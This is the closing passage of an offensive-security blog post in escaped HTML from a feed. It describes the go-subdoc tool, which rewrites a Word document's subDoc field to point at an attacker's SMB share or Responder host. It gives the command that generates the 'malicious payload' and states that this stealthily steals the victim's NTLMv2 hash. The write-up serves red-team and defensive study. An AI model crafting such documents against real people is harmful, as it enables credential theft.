&lt;p&gt;To use it is pretty simple, simply download one of the releases or install it to your GOPATH and provide the input file and target domain/ip address of the Responder or SMB share, as shown on the &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://github.com/offsec-org/go-subdoc#usage&quot;&gt;README&lt;/a&gt; for example:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; go-subdoc&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; target.docx/docm&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; example.com/127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will generate a new malicious payload with the _injected name at the end.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Upon reviewing the Microsoft Word specifications, I found a field called subDoc that can be used to embed a document inside another, by providing it a file path, I managed to change that file path to an external SMB share and managed to steal the victim&#39;s NTLMv2 hash in a stealthy and hidden way.&lt;/p&gt;
</content>
	</entry>
</feed>
